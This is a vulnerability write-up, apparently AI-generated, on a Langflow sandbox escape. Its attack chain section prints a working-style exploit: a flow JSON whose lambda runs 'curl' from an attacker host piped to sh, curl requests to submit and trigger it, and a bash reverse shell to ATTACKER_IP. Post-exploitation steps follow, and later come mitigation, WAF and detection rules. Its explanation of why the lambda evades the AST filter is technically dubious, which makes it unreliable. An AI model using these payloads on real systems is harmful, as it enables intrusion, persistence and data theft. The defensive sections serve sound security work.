CVE-2026-115550 — IBM Langflow OSS (1.13.0) — CWE-94
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in code ('code injection') related to an in-process sandbox escape via AST filter bypass.
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in code ('code injection') related to an in-process sandbox escape via AST filter bypass.
🎯 What is this vulnerability?
CVE‑2026‑115550 – “Langflow OSS 1.0.0‑1.13.0 – In‑process sandbox escape via AST filter bypass”
| Attribute | Detail |
|---|---|
| CWE | CWE‑94 *Improper Control of Generation of Code (Code Injection)* |
| CVSS 3.1 | AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H → 9.9 Critical |
| Authentication | Remote authenticated attacker (any valid Langflow user account, even low‑privilege) |
| Impact | Full remote code execution (RCE) in the context of the Langflow server process (typically the same user that runs the service – often root in containerised deployments). |
| Root cause | Langflow allows users to submit Python code snippets that are executed inside an in‑process sandbox. The sandbox attempts to protect the host by parsing the snippet into an Abstract Syntax Tree (AST) and then filtering out disallowed node types (e.g., Import, Call to os.system, etc.). The filter is incomplete – certain syntactic constructs (e.g., lambda‑expressions, comprehensions, or the ast.parse of a string that later gets eval‑ed) can be crafted so that the prohibited operation is hidden from the static AST walk. When the filtered AST is later compiled and executed, the hidden operation runs, breaking out of the sandbox and executing arbitrary code in the Langflow process.
In short: the AST‑filter is bypassable → malicious user‑supplied code is compiled and run → attacker gains code execution. Because the sandbox lives in the same process, the exploit is a process‑wide privilege escalation, not a confined container escape.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact HTTP endpoint is illustrative because the public CVE does not disclose the precise route.
1. Discovery & Reconnaissance
| Goal | Method |
|---|---|
| Identify that the target runs Langflow OSS and its version | • Query the public /api/version (or /status) endpoint – many Langflow installations expose a JSON object like { "langflow_version": "1.12.3" }.<br>• If the endpoint is hidden, enumerate HTTP headers, JavaScript bundles, or the HTML <meta name="generator" content="Langflow 1.12.3"> tag. |
| Verify that an attacker‑controlled account exists | • Attempt a login with known credentials (default admin:admin is not shipped, but many deployments forget to change the initial password).<br>• If the service is behind SSO, register a low‑privilege user via the normal registration flow. |
Illustrative discovery request
curl -s https://target.example.com/api/version
# Expected response (example)
# {"langflow_version":"1.12.3","api_version":"v1"}2. Exploitation
2.1. Craft a malicious flow definition
Langflow stores a flow as a JSON document that contains a list of nodes. Each node may carry a code field that is interpreted by the server. The vulnerable component is the AST‑filter that runs on the code field before the code is compiled.
A bypass payload uses a lambda that builds a string and then calls eval on it – the eval call is not present in the original AST because it is generated at runtime.
{
"name": "exploit‑flow",
"nodes": [
{
"id": "n1",
"type": "python_code",
"code": "lambda: __import__('os').system('curl http://attacker.example.com/shell.sh | sh')"
}
],
"edges": []
}Why it works
1. The static AST of the lambda expression contains only Lambda, Attribute, Name, and Load nodes – all of which the filter currently allows.
2. When Langflow later executes the node, it does eval(node.code). The lambda is evaluated, producing a callable that, when invoked, runs the hidden os.system call.
3. The sandbox never sees the Call to os.system during the static analysis phase, so it does not block it.
2.2. Submit the malicious flow
Assume the authenticated user has a JWT token eyJhbGci.... The endpoint that creates a flow is typically /api/v1/flows (illustrative).
curl -X POST "https://target.example.com/api/v1/flows" \
-H "Authorization: Bearer eyJhbGci..." \
-H "Content-Type: application/json" \
-d @malicious_flow.jsonIf the server returns 201 Created and the flow appears in the UI, the payload has been accepted.
2.3. Trigger execution
Langflow executes a flow when a client POSTs to /api/v1/flows/<flow_id>/run. The attacker simply invokes the flow:
curl -X POST "https://target.example.com/api/v1/flows/exploit-flow/run" \
-H "Authorization: Bearer eyJhbGci..."When the server processes node n1, the lambda is evaluated, the hidden os.system runs, and the attacker’s reverse‑shell script is executed on the host.
Resulting reverse‑shell (payload delivered by the lambda)
curl -s http://attacker.example.com/shell.sh | sh/shell.sh could contain a classic Bash reverse shell:
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&13. Post‑Exploitation
| Phase | What the attacker can do |
|---|---|
| Privilege level | The code runs with the same UID/GID as the Langflow process (often root in Docker/K8s deployments). |
| Persistence | Drop a systemd unit, modify a startup script, or write a cron job (@reboot /usr/bin/python3 -c 'import socket,subprocess,os;…'). |
| Lateral movement | Read environment variables, Docker socket (/var/run/docker.sock), Kubernetes service account token (/var/run/secrets/kubernetes.io/serviceaccount/token), or any mounted secrets. |
| Data exfiltration | Archive /etc, application config, or user data and ship it via curl/wget to the attacker’s C2. |
| Cleanup / anti‑forensics | Delete the malicious flow via the UI or API, clear logs, or rename the flow to something innocuous. |
Because the vulnerability is network‑visible, low‑complexity, and requires only a low‑privilege account, an attacker can move from “authenticated user” to full system compromise in minutes.
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived rating | Practical effect |
|---|---|---|
| Confidentiality (C:H) | High | Attacker can read any file accessible to the Langflow process – source code, database credentials, TLS private keys, cloud metadata, etc. |
| Integrity (I:H) | High | Attacker can modify files, inject back‑doors, alter configuration, or tamper with stored flows, effectively compromising the integrity of the entire platform. |
| Availability (A:H) | High | By spawning a fork bomb, deleting critical files, or exhausting resources, the attacker can render the service unusable. |
Business consequences
- Full data breach of proprietary LLM prompts, model weights, or downstream APIs.
- Potential compromise of the host OS, leading to breach of other containers or the host itself.
- Service downtime → SLA violations, loss of customer trust, regulatory penalties (e.g., GDPR if personal data is exposed).
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Langflow OSS ≥ 1.13.1 (the first release that ships the corrected AST‑filter and runs the sandbox in a separate process). |
| Version check | Verify the running version via /api/version or by inspecting the package.json/pyproject.toml inside the container. |
| Rollback (if immediate upgrade is impossible) | Disable the *Python code* node type via configuration (LANGFLOW_DISABLE_CODE_NODES=true) or remove the endpoint that accepts user‑supplied code. |
2. Workarounds (in‑place mitigations)
| Mitigation | Implementation |
|---|---|
| Isolate the sandbox | Run the code‑execution worker in a separate OS process with its own user namespace, seccomp profile, and chroot/containerd isolation. |
| WAF / ModSecurity rule (illustrative) | Block any request body that contains suspicious Python constructs. Example ModSecurity rule (Apache/Nginx): |
SecRule REQUEST_URI "@beginsWith /api/v1/flows" \
"id:2026001,phase:2,deny,status:403,log,msg:'Langflow code injection attempt',\
t:none, \
chain"
SecRule REQUEST_BODY "@rx (\\b__import__\\b|\\bos\\.system\\b|\\beval\\b|\\bexec\\b)" \
"t:none"| Input sanitisation | If disabling the node type is not feasible, add a runtime whitelist that only permits a minimal subset of AST node types (e.g., Expression, Constant, BinOp) and reject any payload containing Lambda, Comprehension, or Call nodes. |
|---|---|
| Rate‑limit / auth hardening | Enforce MFA for all Langflow accounts, limit the number of flow creations per user per hour, and log every flow‑creation request. |
| Network segmentation | Place the Langflow service behind an internal firewall; do not expose it directly to the Internet. Only allow trusted internal IP ranges. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|---|
| Web server access logs | POST /api/v1/flows with a payload size > 5 KB and containing the string lambda: or __import__. Example (nginx): |
192.0.2.45 - - [03/Dec/2026:12:34:56 +0000] "POST /api/v1/flows HTTP/1.1" 201 84 "-" "Mozilla/5.0" "-d {"code":"lambda: __import__('os').system('curl ...')"}"| Application logs (Langflow) | Errors such as SandboxEscapeError: exec of prohibited command or unexpected subprocess.CalledProcessError followed by a stack trace that includes eval or compile. | |
|---|---|---|
| Process monitoring | Sudden spawn of a child process with the command line sh -c curl http://attacker.example.com/shell.sh | sh under the Langflow PID. |
| Outbound network | Unexpected outbound connections to IPs/hosts not in the allow‑list, especially on uncommon ports (e.g., TCP 4444). | |
| File system | New files in /tmp or the working directory named shell.sh, payload.py, or a newly created systemd unit (/etc/systemd/system/langflow-backdoor.service). |
SIEM rule (pseudo‑logic)
IF (http.method == "POST" AND http.uri matches "/api/v1/flows*")
AND (request.body contains "lambda:" OR "__import__")
AND (user.role == "low_privilege")
THEN alert "Potential Langflow AST bypass attempt"⚠️ Urgency
Patch priority: Critical – immediate.
Bottom line: CVE‑2026‑115550 gives any authenticated Langflow user a reliable path to escape the sandbox and execute arbitrary commands as the Langflow service user. The vulnerability is trivial to trigger, yields full system compromise, and must be mitigated by upgrading to the patched release or, at minimum, by disabling user‑supplied code execution and applying strict input‑filtering rules.
[🤖 CVE Professor AI Security Engine]
FOFA Query